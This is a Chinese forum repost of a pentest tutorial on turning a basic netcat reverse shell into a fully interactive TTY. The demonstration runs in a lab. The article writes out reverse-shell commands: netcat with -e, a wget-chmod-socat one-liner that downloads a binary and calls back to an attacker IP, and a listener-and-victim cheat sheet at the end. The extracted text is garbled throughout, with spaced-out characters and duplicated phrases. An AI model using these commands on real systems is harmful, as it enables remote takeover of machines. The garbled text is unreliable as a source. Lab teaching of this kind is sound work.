搜索

[11615] 2017-08-02_如何将简单的Shell转换成为完全交互式的TTY

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-08-02_如何将简单的Shell转换成为完全交互式的TTY 如 何 将 简 单 的 S h e l l 转 换 成 为 完 全 交 互 式 的 T T Y s e c i s t   F r e e B u f   2 0 1 7 - 0 8 - 0 2 作 为 一 名 渗 透 测 试 人 员 ， 最 令 人 激 动 的 莫 过 于 作 为 一 名 渗 透 测 试 人 员 ， 最 令 人 激 动 的 莫 过 于 n e t c a t 为 我 们 反 弹 回 了 一 个 为 我 们 反 弹 回 了 一 个 s h e l l 连 接 ， 以 及 通 过 连 接 ， 以 及 通 过 i d 命 令 查 看 到 一 命 令 查 看 到 一 个 令 人 满 意 的 用 户 权 限 。 但 凡 事 总 有 意 外 ， 由 于 我 们 获 取 的 个 令 人 满 意 的 用 户 权 限 。 但 凡 事 总 有 意 外 ， 由 于 我 们 获 取 的 s h e l l 并 不 是 一 个 具 有 完 整 交 互 的 并 不 是 一 个 具 有 完 整 交 互 的 s h e l l ， 因 此 可 能 会 ， 因 此 可 能 会 在 使 用 过 程 中 被 挂 起 ， 甚 至 还 可 能 会 因 为 我 们 的 操 作 失 误 ， 例 如 不 小 心 摁 下 了 在 使 用 过 程 中 被 挂 起 ， 甚 至 还 可 能 会 因 为 我 们 的 操 作 失 误 ， 例 如 不 小 心 摁 下 了   “ C t r l - C ” 键 ， 这 将 直 接 终 止 我 们 键 ， 这 将 直 接 终 止 我 们 的 整 个 的 整 个 s h e l l 进 程 让 徒 劳 而 归 。 进 程 让 徒 劳 而 归 。 除 了 没 有 正 确 处 理 S I G I N T （ 信 号 ） 之 外 ， 这 些 “ 哑 ” s h e l l 还 有 其 它 诸 多 缺 点 ： 一 些 命 令 如 s u 和 s s h ， 需 要 一 个 正 确 的 终 端 才 能 运 行 通 常 不 显 示 S T D E R R 无 法 正 常 使 用 v i m 等 文 本 编 辑 器 没 有 完 成 标 签 没 有 向 上 箭 头 使 用 历 史 没 有 j o b c o n t r o l 等 长 话 短 说 虽 然 这 些 s e h l l 也 很 棒 ， 但 我 更 倾 向 于 在 完 全 互 动 的 T T Y 中 进 行 操 作 。 下 面 我 将 为 大 家 分 享 一 些 用 来 “ 升 级 ” 这 些 s h e l l 的 技 巧 和 方 法 。 在 正 式 开 始 之 前 我 向 大 家 推 荐 一 个 叫 P e n t e s t   M o n k e y 的 博 客 ， 以 及 P h i n e a s   F i s h e r 的 技 术 视 频 和 w r i t e u p 。   < 点 击 文 末 的 阅 读 原 文 查 看 这 些 内 容 > 为 了 便 于 演 示 ， 以 下 所 有 的 屏 幕 截 图 和 命 令 都 将 在 一 台 易 受 攻 击 的 W e b 服 务 器 （ “ V I C T I M ” ） 和 用 于 捕 获 s h e l l 的 K a l i V M （ “ K A L I ” ） 上 完 成 。 V I C T I M   I P :   1 0 . 0 . 3 . 7 K A L I   I P :   1 0 . 0 . 3 . 4 生 成 反 向 生 成 反 向 s h e l l 命 令 命 令 我 们 首 先 使 用 n e t c a t 来 获 取 最 常 见 的 反 向 s h e l l ：
在 k a l i 虚 拟 机 上 我 们 输 入 以 下 命 令 ： 问 题 不 在 于 每 个 服 务 器 是 否 都 安 装 了 n e t c a t ， 并 且 也 不 是 每 个 版 本 的 n e t c a t 都 具 备 - e 选 项 。 P e n t e s t   M o n k e y 有 篇 关 于 反 向 s h e l l 的 c h e a t s h e e t ， 为 我 们 提 供 了 一 些 不 同 的 方 法 。 但 我 更 热 衷 于 使 用 M e t a s p l o i t 的 m s f v e n o m 一 行 生 成 命 令 。 M e t a s p l o i t 在 “ c m d / u n i x ” 下 ， 有 几 个 可 用 于 生 成 单 行 绑 定 或 反 向 s h e l l 的 p a y l o a d ： 以 上 显 示 的 所 有 p a y l o a d 都 可 以 和 m s f v e n o m 一 起 使 用 ， 并 且 我 们 可 以 根 据 自 身 需 求 指 定 L H O S T ， L P O R T 或 R P O R T 。 例 如 ， 这 里 是 一 个 不 需 要 - e 标 志 的 n e t c a t 命 令 ： 如 果 没 有 安 装 n e t c a t ， 我 们 还 可 以 生 成 一 个 P e r l 的 反 向 s h e l l ： 这 些 都 可 以 通 过 使 用 n e t c a t ， 并 侦 听 指 定 的 端 口 （ 4 4 4 4 ） 来 捕 获 。 n c   - e   / b i n / s h   1 0 . 0 . 3 . 4   4 4 4 4 n c   - l v p   4 4 4 4
方 法 方 法 1 ： ： P y t h o n   p t y 模 块 模 块 对 于 已 经 安 装 了 p y t h o n 的 系 统 ， 我 们 可 以 使 用 p y t h o n 提 供 的 p t y 模 块 ， 只 需 要 一 行 脚 本 就 可 以 创 建 一 个 原 生 的 终 端 ， 命 令 如 下 ： 在 创 建 完 成 后 ， 我 们 此 时 就 可 以 运 行 s u 命 令 了 。 （ 并 且 界 面 提 示 也 变 得 更 加 友 好 ） 即 便 如 此 ， 但 问 题 依 旧 没 有 完 全 的 解 决 。 例 如 S I G I N T （ C t r l - C ） 仍 然 会 关 闭 终 止 N e t c a t ， 完 成 标 签 或 历 史 记 录 也 依 旧 没 有 ， 但 这 个 方 法 在 实 际 运 用 中 也 有 一 定 的 效 果 。 方 法 方 法 2 ： 使 用 ： 使 用 s o c a t s o c a t 是 一 个 n e t c a t 上 的 替 代 工 具 ， 可 以 说 是 n c 的 增 强 版 。 我 们 可 以 使 用 S o c a t 通 过 T C P 连 接 传 递 完 整 的 T T Y 。 如 果 你 成 功 在 目 标 机 器 安 装 了 s o c a t ， 那 么 我 们 就 可 以 通 过 以 下 命 令 来 获 取 到 一 个 完 全 交 互 式 的 T T Y 反 向 s h e l l ： 在 k a l i 虚 拟 机 我 们 运 行 以 下 侦 听 命 令 ： 在 目 标 机 器 我 们 运 行 ： 如 果 目 标 系 统 没 有 安 装 s o c a t 你 可 以 通 过 以 下 G i t h u b 地 址 ， 下 载 相 关 的 二 进 制 静 态 文 件 进 行 安 装 ： h t t p s : / / g i t h u b . c o m / a n d r e w - d / s t a t i c - b i n a r i e s 通 过 命 令 注 入 漏 洞 ， 我 们 可 以 将 s o c a t 二 进 制 文 件 下 载 到 一 个 可 写 的 目 录 ， 并 通 过 c h m o d 命 令 修 改 文 件 的 执 行 权 限 ， 然 后 在 一 行 中 执 行 反 向 s h e l l ： w g e t   - q   h t t p s : / / g i t h u b . c o m / a n d r e w - d / s t a t i c - b i n a r i e s / r a w / m a s t e r / b i n a r i e s / l i n u x / x 8 6 _ 6 4 / s o c a t   - O   / t m p / s o c a t ;   c h m o d   + x / t m p / s o c a t ;   / t m p / s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 0 . 0 . 3 . 4 : 4 4 4 4 此 时 在 k a l i ， 你 将 会 获 取 到 一 个 完 全 交 互 式 的 T T Y 会 话 。 它 支 持 完 成 标 签 ， S I G I N T / S I G S T P ， v i m ， 向 上 箭 头 使 用 历 史 等 。 p y t h o n   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / b a s h " ) ' s o c a t   f i l e : ` t t y ` , r a w , e c h o = 0   t c p - l i s t e n : 4 4 4 4 s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 0 . 0 . 3 . 4 : 4 4 4 4
方 法 方 法 3 ： 魔 术 般 的 ： 魔 术 般 的 N e t c a t 升 级 升 级 在 P h i n e a s   F i s h e r 的 技 术 视 频 中 该 方 法 被 展 示 出 来 ， 在 我 看 来 感 觉 就 像 是 魔 术 一 般 。 基 本 操 作 就 是 在 k a l i 终 端 内 设 置 一 些 s t t y 选 项 ， 最 终 将 “ 哑 ” n e t c a t   s h e l l 升 级 到 了 一 个 完 全 交 互 的 T T Y 。 首 先 我 们 使 用 与 方 法 1 相 同 的 技 术 来 生 成 P T Y 。 一 旦 b a s h 在 P T Y 中 运 行 ， 我 们 按 C t r l - Z 键 将 s h e l l 调 至 后 台 运 行 现 在 我 们 来 检 查 当 前 终 端 和 S T T Y 信 息 ， 所 以 我 们 可 以 强 制 连 接 到 s h e l l 并 匹 配 ： 所 需 的 信 息 是 T E R M 类 型 （ “ x t e r m - 2 5 6 c o l o r ” ） 和 当 前 T T Y 的 大 小 （ 3 8 行 ； 1 1 6 列 ） 接 着 我 们 将 当 前 S T T Y 设 置 为 r a w （ 请 确 保 s h e l l 仍 在 后 台 运 行 ） ， 并 使 用 以 下 命 令 回 显 输 入 字 符 ： s t t y   r a w   - e c h o
使 用 r a w   s t t y ， 输 入 / 输 出 将 看 起 来 有 点 奇 怪 ， 你 可 能 看 不 到 下 一 个 命 令 ， 但 是 当 你 键 入 时 ， 它 们 则 会 被 执 行 。 下 一 个 前 台 s h e l l 将 重 新 打 开 反 向 s h e l l ， 但 格 式 化 将 关 闭 。 最 后 ， 重 新 初 始 化 终 端 。 注 意 ： 注 意 ： 我 没 有 再 次 键 入 n c 命 令 （ 如 上 图 所 示 ） 。 我 实 际 上 进 入 到 了 f g （ 前 台 ） ， 但 这 并 没 有 被 打 印 出 来 。 n c 命 令 现 在 是 处 于 前 台 的 工 作 状 态 。 r e s e t 命 令 进 入 到 n e t c a t   s h e l l 中 后 ， s h e l l 会 正 常 显 示 。 最 后 一 步 是 设 置 s h e l l ， 终 端 类 型 和 s t t y 大 小 来 匹 配 我 们 当 前 的 K a l i 窗 口 （ 上 面 收 集 的 信 息 ） 。 最 终 的 结 果 是 我 们 将 获 取 到 一 个 在 n e t c a t 之 上 的 完 全 交 互 式 的 T T Y ， 它 具 有 我 们 所 期 望 的 所 有 功 能 （ t a b - c o m p l e t e ， h i s t o r y ， j o b   c o n t r o l 等 ） ： 甚 至 我 们 还 可 以 在 n e t c a t   s h e l l 上 运 行 T m u x ！ $   e x p o r t   S H E L L = b a s h $   e x p o r t   T E R M = x t e r m 2 5 6 - c o l o r $   s t t y   r o w s   3 8   c o l u m n s   1 1 6
C h e a t s h e e t C h e a t s h e e t 命 令 ： 使 用 使 用 P y t h o n 作 为 一 个 伪 终 端 作 为 一 个 伪 终 端 使 用 使 用 s o c a t 使 用 使 用 s t t y 选 项 选 项 * 参 考 来 源 ： r o p n o p ， F B 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 p y t h o n   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / b a s h " ) ' # L i s t e n e r : s o c a t   f i l e : ` t t y ` , r a w , e c h o = 0   t c p - l i s t e n : 4 4 4 4 # V i c t i m : s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 0 . 0 . 3 . 4 : 4 4 4 4 #   I n   r e v e r s e   s h e l l $   p y t h o n   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / b a s h " ) ' C t r l - Z #   I n   K a l i $   s t t y   r a w   - e c h o $   f g #   I n   r e v e r s e   s h e l l $   r e s e t $   e x p o r t   S H E L L = b a s h $   e x p o r t   T E R M = x t e r m - 2 5 6 c o l o r $   s t t y   r o w s   < n u m >   c o l u m n s   < c o l s >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理